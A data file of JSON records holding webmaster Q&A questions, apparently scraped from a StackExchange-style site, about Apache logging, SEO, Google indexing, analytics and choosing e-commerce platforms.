{"id":"49309","title":"Make Apache encode or replace quotes instead of escaping them?","text":"In the dcoumentation I read > **Format Notes** For security reasons, starting with version 2.0.46, non- > printable and other special characters in %r, %i and %o are escaped using > \\xhh sequences, where hh stands for the hexadecimal representation of the > raw byte. Exceptions from this rule are \" and \\, which are escaped by > prepending a backslash, and all whitespace characters, which are written in > their C-style notation (\\n, \\t, etc). In versions prior to 2.0.46, no > escaping was performed on these strings so you had to be quite careful when > dealing with raw log files. This is a problem for Analog which is still the handiest analyser I use. I get > .... \"GET \/somerequest?q= **\\\"quoted string\\\"** &someparm=bla\" in the logfile and it is of course flagged as corrupt since Analog expects > .... \"GET \/somerequest? **q=%22quoted string%22** &someparm=bla\" or similar. I realise I can pre-process using something like perl -p -i.bak -e 's\/\\\\\"\/%22\/g' logfile But I'd rather not have to add this step to these files which are 50-90MB zipped per day Thanks for any pointers"}
{"id":"26364","title":"404 errors showing in Google Webmaster Tools","text":"My Google Webmaster Tools account, shows that I have crawling errors that are caused by links to pages that do not exist (404 not found). But when I look at the source pages that are accused of having these broken links, there are no such links in them. As of now, I have 6 404 errors in sitemaps and 28 in the rest of my site. E.g. the address http:\/\/www.webdesk.co.il\/articles.php?id=13 does not exist, yet Google indicates that I have 3 pages that link to this address: http:\/\/www.webdesk.co.il\/sitemapgen.php http:\/\/www.webdesk.co.il\/articles.php?t=css http:\/\/www.webdesk.co.il\/articles.php?id=17 \/\/this address dont even exist If you open each of these pages, you'll see that they don't have these links in them. I thought this may be a result of an old crawling that was not yet updated, but those pages haven't existed for over than 6 months and Google indicates that all the crawling results are up to date (Dec 22 2012). Why do I keep getting these 404 errors by Google?"}
{"id":"54271","title":"Why am I frequently asked to access a cached copy of a particular webpage?","text":"I moved my WordPress website from `localhost` to a live server, but sometime I am able to access my website and sometime not, it shows: Oops! Google Chrome could not find www.example.com Access a cached copy of example.com I don't know what is this and how to resolve it. Please give me some guidelines to sort this out."}
{"id":"68344","title":"google analytics - real-time user stats vs audience overview user stats","text":"When looking at the real-time analytics reporting for our app, it shows around 150-180 users, say around 10AM (our peak usage time). When I look at the Audience Overview report for the same day (hourly breakdown), the number of users shown for the 10AM hour is over 1000. I'm sure this has to do with some sort of aggregation, but I would like to know more about how these two numbers are calculated in order to understand it."}
{"id":"68345","title":"Another website is mirroring and ranks above my site in search results","text":"There is a site of ill-repute known as thedirty which has completely mirrored my site and now has links appearing on Google at the #1 spot using my content. I checked my log files and noticed that this site has been crawling mine for sometime, and also has 10,000 links from their site to mine. I have blocked user access which is referred from this site and reported them as web spam to Google already. I also disavowed the domain. How are they getting top links in Google (even overtaking mine) for such nefarious tactics? What are the steps to completely eliminating an issue such as this? UPDATE 8\/28\/2014: I thought I would provide an update on this as I have more information now. So thedirty pointed their subdomains to my ip which had the effect of making their subdomains look like my website. For a couple of days this didn't matter much because using htaccess, I redirected all HOSTS not of my domain, back to my domain which basically meant I was getting their subdomains traffic links on Google. After a couple of days thedirty changed their subdomains to point back to their website so that I no longer benefit from this. So the whole point being they used my content to get top ranks on Google, and are now pointing those links back to their website to drive more traffic to theirs. It is a dirty tactic by a dirty website. My hope is that Google punishes such behavior."}
{"id":"52520","title":"PDF Ad tracking","text":"I run a PDF magazine that contains paid advertising and I need to be able to track how many people click on the ads and visit my advertisers' websites. Any suggestion would be appreciated!"}
{"id":"33022","title":"Are there considerations for expiring SSL certs for inactive domains?","text":"I have a few domains that have effectively been \"retired\" though our company plans to keep them registered in perpetuity. However, soon a few of the SSL certs for the inactive domains are set to expire. Are there any security considerations for simply allowing them to expire? Any other considerations for the actual expired cert files on the servers?"}
{"id":"1413","title":"What are the SEO rules for HTML 5?","text":"What are the rules of engagement with respect to SEO in HTML 5? Examples of things we have been mulling over with no conclusion: * Are you penalised for not using <head> and <body> tags? * Do links in <nav> blocks get prioritised for follows? * With <aside> (no bside though), <section>, <summary> and <details> which ones carry the most weight for content, one-liner descriptions and keyword tags are there search engine implications? * If you use CSS to put a <footer> element at the top and a <header> element at the bottom (not that you would but it may be construed as such by an incomplete spider implementation)? * Does the use of placeholder attributes on <input> show you are more user focused? At the minute we are haphazardly pinning the content on the donkey with regard to tag usage but would be interesting to know if anyone has any insight into the \"correct\" tags to use with regards to SEO."}
{"id":"25052","title":"Are there any good reasons to HTML5 for SEO at the moment?","text":"> **Possible Duplicate:** > What are the SEO rules for HTML 5? Do `crawlers` ignore HTML5 tags (like `<article>`, `<section>`, `<video>`, `<nav>`, and so on...) when indexing the pages? For example, speaking about google-crawler, I found only old articles like this (2 years ago). Maybe the rules have been changed?!?"}
{"id":"39746","title":"Will using the new HTML5 meta charset instead of HTTP-EQUIV affect my clients site's ranking?","text":"> **Possible Duplicate:** > What are the SEO rules for HTML 5? I am doing a re-design for a client whose site currently has very high and successful rankings across all search engines (Google, Yahoo!, Bing, AOL, etc.) My client is very weary about change, but the problem is that his site is very old and outdated (table layout, and very basic, first-level HTML4). Currently, to define the `content-type` metadata, the site uses the older: <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=UTF-8\"> But I would like to change the entire layout of the code structure. Example; using the new HTML5-compliant `<meta charset=\"utf-8\">` Additionally, I would also like to change the DOCTYPE, from a plain-ol' HTML4 doctype to HTML5's `<!DOCTYPE html>` And I have heard that engine crawlers and SEO-masters are very particular about \"space-coding\" and semantics. Logically, I do not see how his site is so high ranked with the messy and outdated code that is being used, and I want to know if updating the code structure would mess with his sites rankings? (P.S. I came here to ask this question, but I'm originally from StackOverflow, and I didn't really think that this would be a fit question for SO, but if this is the wrong place too, please suggest a different one). Any help would be much appreciated! :-)"}
{"id":"29597","title":"Simple integration between 2 sites","text":"Company A is a large corporation with a lot of internal systems, policies and resource issues. They have a significant problem with one of the sections of their site that is affecting their bottom line, however due to policies and other projects they are unable to fix this for one year. They have hired company B to solve this problem for them. Company B works faster than company A and could produce a mini-site to solve the problem in a matter of weeks. The problem is, **company A's IT policy requires that all pages be hosted on their servers, therefore a separate mini-site is not an option**. What are some other techniques that could be used, independent of technology, that would allow these pages \/ content could be integrated into the larger site? We have considered, and excluded the following options: * iframe * sub-domain hosted remotely * sub-domain hosted locally"}
{"id":"53147","title":"HTML mail signature influences blacklisted SPAM?","text":"I had a several _Undelivered Mail Returned to Sender_ with my domain. This started happening at least 2 months, after I made an HTML signature. It is possible, I don't know very well the sense of this. My e-mail signature only as a link with my site name and a PNG of brand logo (13kb). So if you guys could help me with this I will be very gratful. This is the returned to sender (the most usual): DOMAIN is blacklisted on Spamhaus - see www.spamhaus.org (in reply to RCPT TO command) I checked my domain on their site and is not listed (idiot)."}
{"id":"29231","title":"Google Analytics not working for multiple domains","text":"I have a webapp that allows users to embed an iframe on their website. This iframe contains a Google Analytics snippet that is logging an event that captures the website the iframe is embedded on. Google Analytics isn't reporting anything, even though I am clearly embedding this iframe on numerous websites (on multiple domains as well). Does Google Analytics not allow tracking for multiple domains?"}
{"id":"30150","title":"Which Ecommerce Script Should I Use?","text":"_This is a general, community wikicatch-all question to address \"I need a eCommerce script that does x, y, and z...\" questions._ _If your question was closed as a duplicate of this question and you feel that the information provided here does not provide a sufficient answer, please open a discussion onPro Webmasters Meta._ * * * I have a list of features that I want for my website's eCommerce script - where can I find a script that includes all of them?"}
{"id":"21335","title":"Looking for an e-commerce platform that also has appointment\/calendar scheduling","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I am trying to find a solution that will allow me to manage both an e-commerce store for physical goods, as well as a calendar\/appointment scheduler. I've been unable to find a single solution so far, but figured I would see if any of you have any leads on such a platform."}
{"id":"21559","title":"Could you recommend a good shopping cart script?","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I'm looking for a PHP\/MySQL script, free or not. Could you please recommend me one that can do the following: The site I'm trying to build requires an extensive product catalogue, which will have around 600 products. Because there are so many products they will be uploaded using a CSV file or spreadsheet. * Users must be logged in to see prices * Users can add products to an order form, which they can then email to admin. ( **NO payment processing whatsoever** ) * They will just add products to a cart, review the cart's content and click a button to send the order * The order email to admin must have the order details attached in a CSV file. **Newsletter** Newsletter sign up. Admin can create and send newsletter from the admin section. **User Login\/Member Section** After users sign up they can access their member section. In this section they can * Edit their details * See previous orders they have made, and click a button to send that order again"}
{"id":"17438","title":"Which E-commerce Platform works well with Flash Product Customization+Social?","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? What's the best platform out there that is flexible enough to easily integrate this: Custom Flash App I would like customers to : 1 - Select a t-shirt from a gallery of artists. 2 - Customize it ( using a Flash tool i created ) 3 - Select a T-shirt size 4 - Order it. All this flash widget does is generate a JPG on the server. the ecommerce app should assign it to that Order\/Customer, and add it to their shopping cart. Social Features Customers should also be able to comment on the t-shirts and artist bios. I was thinking of trying Wordpress plugins like Shopp or Getshopped or Cart66. ----- then BuddyPRess for social features. Or is Magento a better choice? thanks!"}
{"id":"2182","title":"Looking for a good server side shopping cart solution","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I'm working on a website that will be selling tickets and they will go fast. I need a server side solutions, in php if possible, that will keep tickets from over selling. Any suggestions? Also, I'm looking for the system to be more plug and play, like an API maybe. I'm not really looking for a eCommerce solution to sell goods. I need something simple and can sell tickets. Like EventBright but for a server in php."}
{"id":"5753","title":"How to identify a scalable (and appropriate) eCommerce platform for a medium-sized company?","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? Maybe you can help me identify a scalable (and appropriate) eCommerce platform for a client of ours, looking to enhance their online sales. I've read the ecommerce guidelines here and am looking to further explore this, relative to my specific situation. ... **A little background information:** _The company's main focus has been selling to retailers, boutiques, etc., but is now looking to sell directly to the consumer--which is where I come in... to re-design their site (currently a quasi-eCommerce, quasi-informational page) into a full blown eCommerce site--quality wise (not necessarily feature wise) on par with Amazon. I'm doing my homework to isolate the best options for the entire team to evaluate._ ... I'm a CSS ninja and blossoming web developer, but still fairly new to eCommerce, so I'd love to get the StackExchange community's feedback. * I'm curious to find out the pros and cons (with a particular interest in security, and scalability) of a hosted platform (eg. 3dcart), versus an open-source platform (eg. Prestashop). For example, is it worth paying $250\/mo. for Magento's 'professional' edition? How do Opencart and Prestashop compare with 3dcart for a medium-sized company? * What are the headaches associate with the best options; maintenance, versatility, community\/customer support, etc. * Uptime and server responsiveness. Do paid hosted solutions offer high grade servers, or is a dedicated server and do-it-yourself approach better? This are just some of the questions that are coming to mind, but hopefully you can see the overarching theme of where I'm coming from, offer some advice, and suggest some platforms to explore. **Here are some features\/notes:** * Inventory is currently done manually (due to sales currently being so modest,) but I imagine data feed \/ accounting integration will be need to be available. * The site will need to be available in **multiple languages** * Payment processing is currently handled internally, because inventory is **not automated** , which suggests inventory management is another key factor to take into consideration (my client was quoted $20,000 to integrate inventory management... I think we can do much better than that;) as I currently understand, the issue is that not all sales are done online. * Promotion support, user-reviews, product ratings, and a fully customizable front-end are just about mandatory. Keep in mind our **target launch is Jan. 1st** , and I've never worked with any of these platforms (other than 3dcart briefly)--but if some help from a specialist needs to be factored into the budget, that isn't completely out of the question. This also suggests to me that having a paid solution could be helpful, having a 'customer\/technical support' team available. We don't know how successful this endeavor will be, and currently my client receives 200 hits with a handful of sales daily; should our vision succeed, their daily traffic and sales should jump substantially... and we want to be prepared for this and not have pursued an eCommerce solution that cannot easily scale. I earnestly appreciate your time, and look forward to anyone's input! Julian"}
{"id":"11472","title":"music ecommerce shop?","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? i have a client that wants to make a music store, from which you can donwload a track for a price, or buy a new cd to be shipped, users should be able to have a preview of a track too!. Was considering prestashop, was wondering if someone had a suggestion on this. Thank you!"}
{"id":"18100","title":"Best ecommerce that's easy to customize into a existing site? (WP?)","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I'm looking for a ecommerce plugin (if it's through WP that works too) that I can integrate into an existing site. I'm looking for something like wordpress, where I can extend the config into the existing pages and run the libraries api through that. Needs to be free too!"}
{"id":"22094","title":"Shopping cart PHP framework","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I am going to build a new shopping cart project for my client and I have a little confusion about shopping cart framework in php. I have read about more shopping cart framework, but I can't get the right way to use a perfect framework for my project. The requirement of the project is: Inventory management Authorization UPS shipping integration Please anyone help me out to choose the right frame work and start my project as soon as possible."}
{"id":"11590","title":"Shopping cart software for a site with a small number of products","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I have a client who requires shopping cart functionality for maybe 20 products. Is it worth installing dedicated shopping cart software, should I use Paypal buttons, or are there other options."}
{"id":"1625","title":"What shopping carts integrate well with MYOB?","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I'm trying to select an eCommerce solution that will integrate with the accounting program, AccountEdge (from MYOB). I also need it to be SEO-friendly and be able to print shipping labels, directly. I will also consider any stable add-ons to any given shopping cart."}
{"id":"16665","title":"Photography eCommerce platform","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? Anyone have a recommendation for a platform or plugin (free or commercial) to allow the sale of photographic downloads and prints? I'm not really interested in a hosted solution unless that solution is a stand-out."}
{"id":"21659","title":"A good shopping cart","text":"> **Possible Duplicate:** > Which shopping cart \/ ecommerce platform to choose? Sorry for being so vague but I've been confused a lot in choosing a good shopping cart for my new venture. I need something which is really easy to update (like wordpress), customizable, secure, SEO friendly, not too slow, a good plugin framework so I can develop plugins if I need it. In short, I need shopping cart as good as wordpress is for blogs. I could just download freely available ones and settle with the one I like but long-term issues aren't visible immediately. Could you guys help me out"}
{"id":"26859","title":"eCommerce system for configurable products","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I'm looking for a eCommerce solution for configurable products. I know I could achieve this in Magento but this isn't an option at the moment as we currently have a hosting contract that we can't install it on and changing hosts isn't an option currently. I'm looking for the following functionality: Selection 1 * A * B * C Selection 2 * D * E * F * G * H * I If a user selects an option in selection 1 the only some of the options in selection 2 will be available so if they chose A in S1 then maybe only options D,E, and F would be available; but if they chose B in S1 then options D,F,G and I would be available and so on... Once all sections are chosen it needs to output the relevant price\/product SKU for that configured product. My main experience of ecommerce is via Magento so I'm not sure if this is standard functionality in other ecommerce solutions or something out of the ordinary as i was using the Simple Configurable Products script on Magento previously. I should also add that we are also using a wordpress set up alongside so if there is a module or solution that integrates with wordpress that would be great, not a major issue if it is a standalone solution though as I can modify templates to make a seamless experience for the user."}
{"id":"10643","title":"PHP\/MySQL shopping cart recommendation","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I need a shopping cart for PHP\/MySQL. What I need is very simple. I have a template already set up with the 15 items that we want to sell. We don't require a storefront, only a cart that uses a gateway. The user should be able to click on the item in my template and then go to checkout. Can someone recommend something that would meet these needs? I want to stay away from bloated apps."}
{"id":"8656","title":"Which shopping cart \/ ecommerce platform to choose?","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I need to build **an ecommerce website** within a tight budget and schedule. Of course, I have never done that before, so I have googled out what my solutions are and I have concluded that the following were not valid candidates anymore : 1. **Magento** : Steep learning curve 2. **osCommerce** : old, bad design, buggy and not user-friendly 3. **Zencart, CRE Loaded, CubeCart** : based on osCommerce 4. **Virtuemart, uberCart, eCart** : based on CMS (Joomal, Drupal, WordPress) that is not necessary for my use-case So I finally narrowed down my choices to these solutions : 1. **PrestaShop** : easy-to-use, great templating engine (smarty) but many modules are not free buy yet indispensable 2. **OpenCart** : security issues and not a great support from the main developer. See here and here. So, as you can see, I am a little bit confused and if you can **help me choosing an easy-to-use, lightweight and cheap (not-necessarily free) ecommerce solution** , I would really appreciate. By the way, I am a Java\/Grails programmer but I am also familiar with PHP and .NET. (not with Python or Ruby\/Rails) **EDIT** : It seems that this question is more appropriate for the Webmaster StackExchange site. So please **move this question to where it belongs** (I cannot do that) instead of downvoting it. BTW, I have found out a question quite similar on SO (http:\/\/stackoverflow.com\/questions\/3315638\/php-ecommerce- system-which-one-is-easiest-to-modify) which is quite popular."}
{"id":"8867","title":"ecommerce options for 5-6 products","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? We're looking to develop a simple e-commerce solution to sell 5-6 products. We'd rather not have to use PayPal's buttons (buy it now!) if there's an existing alternative, but would also for budget\/time constraints don't want to roll our own. Are there any small, basic ecommerce solutions available that would allow this? I did look at Foxy Cart but the monthly fee was a bit of a turn off. (I must sound extremely fussy I'm aware!) Something like Zen would just be overkill for our needs. Thanks for any suggestions."}
{"id":"28139","title":"Which ecommerce framework is fast and easy to customize?","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? I'm working on a project where I have to put online an ecommerce system which will require some good amount of custom features. I'm therefore looking for a framework which makes customization easy enough (from an experienced developer's perspective, I mean). Language shoul be PHP and time is a constraint, I don't have months to learn. Additionally, the ecommerce will have to handle around 200.000 products from day one, which will increase over time, hence performance is also important. So far I examined the following: * Magento - Complicated and, as far as I could read, slow when database contains many products. It's also resource intensive, and we can't afford a dedicated VPS from the beginning. * OpenCart - Rough at best, documentation is extremely poor. Also, it's \"free\" to start, but each feature is implemented via 3rd party commercial modules. * OSCommerce - Buggy, inefficient, outdated. * ZenCart - Derived from OSCommerce, doesn't seem much better. * Prestashop - It looks like it has many incompatibilities. Also, most of its modules are commercial, which increases the cost. In short, I'm still quite undecided, as none of the above seems to satisfy the requirements. I'm open to evaluate closed source frameworks too, if they are any better, but my knowledge about them is limited, therefore I'll welcome any suggestion. Thanks for all replies. **Update 1** - Project is for one of my customers, therefore I don't \"call the shots\" on most things. - There is no time, nor budget to write a completely custom system, nor the resources to maintain it once it's up and running. - I managed to write off most of the required customisations, as they would not be mission-critical. Two of them are still required, though: - **Import data from external systems**. Interfacing with an internal system to import products. I'd have to write an interface to import the data into the ecommerce on a regular basis. This functionality must be available on the ecommerce Admin Dashboard, as they may have to upload files manually from time to time, therefore I need to be able to plug it in the framework. I therefore need such framework to be easy to extend, as I don't want to start hacking it, or bypassing it and writing straight into the database. - **\"Publish basket\" function for Sales Agents**. Agents will need a way to prepare and \"publish\" a shopping basket. Such \"public basket\" will then be picked by customers, who will get the products in their own basket. Commission will be awarded to the Agents if customer will buy **all** the products that were in the original \"public\" basket. **Example** - Agent prepares a basket with _Prod1_ , _Prod2_ and _Prod3_ (quantity 1 for all). - Agent publishes a link to the basket. - Customer clicks the link and sees the basket. He likes it, and \"takes it\" into its own basket. - Three things can happen now: 1- Customer buys the basket straight away. Agent gets the commission calculated on the basket he prepared. 2- Customer adds stuff to the basket, in addition to the original products. Agents get the commission as in case 1. 3- Customer removes one or more of the items that were in the original basket, then he may add something else. Agent does **not** get a commission. It's a fairly simple system from a logical perspective, but implementation can become difficult, depending on framework's structure and limitations. **Update 2** I'm still looking around, and I found two more frameworks: * CubeCart * OXID Any opinions about them? Thanks."}
{"id":"9376","title":"Looking for PHP E-Commerce Script which allows USERS to create their own stores","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? Are there ready made PHP scripts which would allow my USERS to create their own stores? I don't want an eBay clones. Just a script which is easy to configure and customize."}
{"id":"50300","title":"Webshop for digital goods with voucher \/ gift card system","text":"I'm searching for a webshop which provides the following: * The shop offers digital goods (like mp3) * User can buy a voucher \/ gift card @Reseller (Or there is a code provided in the CD) * User can enter his code @ webshop and gets the download (unregistered) * User can enter his code @ webshop and download is added to his\/her library (registered) optional: Resellers can buy codes from the Webshop I already tried prestashop as it looks quite nice. But it needs a lot of custom programming (and has a very strange voucher-system). Customer has to add the File into the basket and add the voucher at checkout. I want to skip that ;) Is there a Webshop (Or CMS + Plugin) which provides the things I need? (it could also be a CMS with a Storage\/Folder Plugin (like joomla + K2) and a possibility to activate downloads via unique Codes.) Any ideas are highly appreciated :) Thanks in advance."}
{"id":"12096","title":"Color, size, stock Ecommerce CMS","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? Is there any cms written in php have support for managing color, size & stock of item. and also if possible image of the product base on color?"}
{"id":"53175","title":"Choosing an ecommerce solution to integrate into exsisting site","text":"I have a website - a localised version of www.goapr.co.uk. It lists about 300 tangible products. I now need to integrate a shopping cart solution to the site. I would like as tight integration as possible, so here are some requirements: * An 'add to basket' button next to each product already listed on the site. * This will take you to a basket \/checkout. * I would like, if possible a link on all pages, a login\/my account link, which changes depending if you are logged in, and also a basket link, ideally showing if you have any items in your basket. I think this requirement is the hardest to integrate into an existing site? The solution needs to have: * User account capability - to view previous orders etc * Sage pay payment gateway support * UPS shipping quote support. * Different tax options for different countries. * The basket\/checkout\/user account pages need to look the same as the rest of the site (same header\/footer) So I dont need a storefront, or product pages, just the basket, checkout, and account functions. I have researched about 25 solutions in the market, but not yet sure if any can fit the requirements - especially adding the basket info to the rest of the site. I am not yet sure if I want hosted on self hosted. The site is PHP\/HTML\/CSS based."}
{"id":"18776","title":"Shopping cart for service providers?","text":"> **Possible Duplicate:** > Which Ecommerce Script Should I Use? From my limited exposure, it seems to me that most shopping cart\/eCommerce platforms are specifically for products-based retailers. On several occasions now, I've been asked about ecommerce solutions for service providers. That is, it's basically just a single product with payment but no shipping, and highly configurable \"product\". Any recommendations for a cost-efficient solution (high feature coverage) for such a web platform? Requirements: * .NET * No\/suppressed product catalog * A service customization selection form * Payment (probably PayPal with accountless credit card processing) * Guest purchases (no site account required) * Email confirmation * Customer service -facing control panel It's hard to search for such a product because I get \"web service based ecommerce software\" and so on clouding up the results."}
{"id":"50083","title":"Cookieless Fonts?","text":"Why is it that that nobody ever mentions serving fonts over a cookieless (sub)domain? Is it because you have to white-list your primary domain with Access-Control- Allow-Origin for font files? I'm asking because I want to know if there's some reason not to do it."}
{"id":"34606","title":"302 & 503 for temporary site down page: what to use for 'retry-after'?","text":"If I want to temporary take down a website but the timeframe could be from 1 day to 1-2 weeks, I know that a 302 redirect (to a down.html page for instance) is best in order to preserve the existing SEO value of the site. I've also read that one should return a 503 status code for these types of situations but they seems to require setting a 'retry-after' time period. What If I don't know how long it will be down for? can I leave out this part of the header http:\/\/www.seomoz.org\/blog\/how-to-handle-downtime-during-site-maintenance"}
{"id":"692","title":"Can missing anchors be logged?","text":"If I have a broken link it gets logged with a 404. If I have a link to an anchor and the anchor is missing, I don't get an entry in the log. How can I find those broken anchor links, especially if the traffic is coming from a referrer? Is there a way to configure the logging to capture this information? HTTP Server: Apache 2"}
{"id":"1544","title":"Upgrading Shopping Cart Software and SERPS","text":"I operate a fairly large (45,000+ pages) ecommerce site that runs on an older ASP.NET 1.1 shopping cart that is a pain to administer and maintain but ranks really well. I'd like to upgrade to a .NET 3.5 cart (AbleCommerce) but I am really concerned about how that will effect my rankings. My main questions: * Content will be the same, but HTML will change (much cleaner), but could this somehow affect rankings? * URL structure will be changing from a \/ProductPage.aspx&Id=1234 format to a \/product-name-and-relevant-keywords.aspx format which would require many 301 redirects. How many are too many and does a 301 automatically incur a loss in rank? * Do the potential benefits (better rankings, performance, ease of use) outweigh the potential losses (loss of rankings and\/or my job)? I'd also like to hear about any other things I should consider."}
{"id":"28429","title":"Need a service that provides \"Most tweeted articles in the last 24 hours\"","text":"any recommendations for a service that would fill the following 4 requirements: * Gather a list of the most tweeted articles * within a 24hour time range * for a given site domain * Easily loaded client-site (javascript or an iframe) Mockup: "}
{"id":"39107","title":"Where to place the link to the password changing form?","text":"Sorry for this pretty general question... but, where do you place the link for password changing in your websites?, where do you think is the best place? in the login form, in the personal data section, in the header?"}
{"id":"11116","title":"Highlighting Search Results","text":"A website I've recently worked on has a fairly extensive product search. The search returns results from the company's affiliates as well as products that the company produces and sponsors. A requirement of the search is that these \"sponsored\" items be highlighted, or shown in a manner that the users gets a sense of greater importance about them. Our attempted solution was to give the sponsored items a background color and the company's logo to highlight\/draw attention to them. Unfortunately, after some usability testing users were prone to skipping over these items and not giving them a second glance. In fact, some users even commented that \"Sponsored Products!! Those must be ads.\" and proceeded to skip them. What would be a good web design technique to draw attention to these products without giving them the feeling of an advertisement, or something \"forced\"? Does anyone have any resources\/suggestions on this subject? Thanks for your help!"}
{"id":"69050","title":"My title tag doesn't appear to be getting crawled by Google properly","text":"My title is: <title>School Management Software, College & University Management Software, Cloud ERP Software<\/title> However it's showing up like this in Google:  Is there something I'm doing wrong here? Any insight would be really helpful."}
{"id":"65767","title":"Title in Google does not match <title> of document","text":"One of my project's title tag doesn't appear to be getting crawled by Google properly. The title tag of the home page reads: <title>Grande Prairie Jobs | Job Board for Grande Prairie, Alberta and Area<\/title> Google, on the other hand, indexes the title as `gpjobs.ca`.  Is there something I'm doing wrong here? Any insight would be really helpful. One thing, the first of the document is `gpjobs`. Could this be causing the incorrect title? I guess I just don't understand why Google would index it with the `<h1>` rather than the `<title>`. **Edit:** To clarify for whoever marked this question as a duplicate of this one, my site actually had a landing page where Google indexed it correctly. After launching the site and submitting a sitemap, Google has indexed the title as above. What I'm trying to establish and correct, is why the site has an indexed title of the first `h1` on the page and not the `title`. I expected the `title` to be picked up."}
{"id":"32171","title":"Why isn't google updating my description of my website?","text":"> **Possible Duplicate:** > Google doesn't seem to update the description or title of my homepage I had created a website,hosted it on godaddy.com. I edited it recently .(fetched and uploaded files using FileZilla) I put a description on each page using meta tags. It has been more than 3 days since I did that. When I google for my website name , the first result that shows is my website name. But the description under it still hasn't been updated. Why not?"}
{"id":"29469","title":"How can I get Google to update my sites description?","text":"> **Possible Duplicate:** > Google doesn't seem to update the description or title of my homepage Here is a screenshot:  The site description shown is very old, from way back in January of this year. Yet the image shown is current. How can I ask Google to update my sites description?"}
{"id":"27658","title":"Why google isn't updating my site title in search results?","text":"> **Possible Duplicate:** > Google doesn't seem to update the description or title of my homepage I had my domain for few days before I uploaded site to it, and it had one title, and then when I uploaded content it should get new title, but with my misunderstanding of WordPress it had blocked robots.txt and keyword with **no- index** and **no-follow**. But I removed that like 7 days ago, and I see in reports that Google bot is crawling over my site, but my site title isn't updating, it still has old domain title when site wasn't there... My robots.txt has now: User-agent: * Allow: \/ I have clear title tag on every page. How long does it take to update? Do I need to check something else?"}
{"id":"30226","title":"Breadcrumb trail resulting in duplicate URLs","text":"In an eCommerce site, I have products that can be under more than 1 category, this causes multiple URLs for the same product. The reason being, is that if a user clicks on category A then on product A the breadcrumb trail shows a link back to category A. The only issue is, in order to ensure that the breadcrumb truly reflects the path the user has chosen I have included the category id in the link to the product, i.e: \/product?id=10&cat=5 ...and because products can have more than one category there might be: \/product?id=10&cat=6 However, the usual URL for a product would be: \/product?id=10 This obviously means I'm potentially having more than 1 URL for each product. Is there a better way to ensure the correct breadcrumb trail or is this really not that much of an issue?"}
{"id":"8714","title":"Googlebot requesting invalid URL","text":"I have a web app which emails me exceptions automatically. This morning there was an error relating to a url: \/Catalog\/LiveCatalog?id=ylwpfqzts id is invalid (should be a guid) and caused an error parsing. Everything was handled correctly, and an error page is returned. But what was odd is that the user-agent reported itself as Googlebot and the IP is registered to Google. The URL would never have been generated by my web app but doesn't look particularly malicious."}
{"id":"8715","title":"Which font do designers use?","text":"Let me inform you that i am not a designer by trade and i don't have any design sense either. But by luck i have to design forms in my company. But i do not get the professional look that you see on websites. I want to know which fonts do designers use for :- 1) description 2) Title (say the Title of the blog post) Also tell me what should it's size be? Thanks in advance :)"}
{"id":"30332","title":"Transferring local site to shared hosting","text":"I'm looking to setup a simple online text processing tool similar to the Clang demo. The processing program itself is a C++ program which I can modify to provide the desired output I need. Since I use Linux+Perl daily and have used Apache in the past, I'd like to get this working locally first. My two questions are: Is it possible to do this with only Apache and Perl? I've looked into frameworks for doing this and quickly ran into The Paradox Of Choice. Will I be able to easily transfer a working local site to a shared hosting service? I want to administer as little as possible. My understanding is since this needs to run a C++ program that CGI is a requirement and thus I need to administer the httpd server. Hopefully this doesn't mean a VPS."}
{"id":"34252","title":"Redirecting a subdomain from wordpress.com to an external web address","text":"I have a question about redirecting a subdomain of a blog hosted on `wordpress.com` to an external URL. Given the following: 1) I own a domain name `foobar.com` purchased from another registrar (not from `wordpress.com`). 2) I have purchased the custom domain option on `wordpress.com`, and have completed the configuration to make `foobar.com` resolve to `foobar.wordpress.com`. 3) I will establish an external site for a store, such as `store.yahoo.com\/foobar`. 4) I want to redirect the subdomain `store.foobar.com` to `store.yahoo.com\/foobar`. How do I set up the custom DNS records within `wordpress.com` to accomplish this subdomain redirection, while leaving `foobar.com` pointed to my Wordpress blog? I suspect that the CNAME directive is involved, but I cannot figure out the required syntax."}
{"id":"30338","title":"How can I test for a URLs existeance before redirecting to it?","text":"I am using Apache's mod_rewrite to redirect mobile users to my mobile site based on their http_user_agent. However not all pages have a mobile equivalent. Also mobile pages end in .html and \"full\" pages end in .shtml. Here is some pseudo code. Does the user have a certain HTTP_USER_AGENT? Is there a mobile page? If so take them there. If not, no redirection is needed. I want to do this with apache."}
{"id":"50880","title":"2 developers working on the same site, avoid overwriting each other","text":"Recently my company took on another developer to work alongside me. We both use Coda 2 and there's times where we're both working on the same sites. It recently happened that we both wrote over each others changes. Is there a way to avoid us overwriting each others changes within Coda? Or is there more software that we would need for some kind of version control."}
{"id":"13840","title":"CSS Issue in WordPress site","text":"I want to close the gap between the image and the excerpt text on the following page: Kindly advise how to achieve this. Thanks in advance. Sunil"}
{"id":"31570","title":"Displaying thumbnails in google search results for flash games?","text":"Some sites are somehow displaying video preview thumbnails for pages that contain flash games in google search results. For example search for: site:www.thorgaming.com game I see this only on small sites which makes me believe google is not very happy about it. How do they do it and is it ok with google? I assume they are submitting thumbnails through video sitemaps, but I can't find any information about using them with flash games. I also run a few such sites through rich snipped testing tool and it didn't detect any microdata tags on a page."}
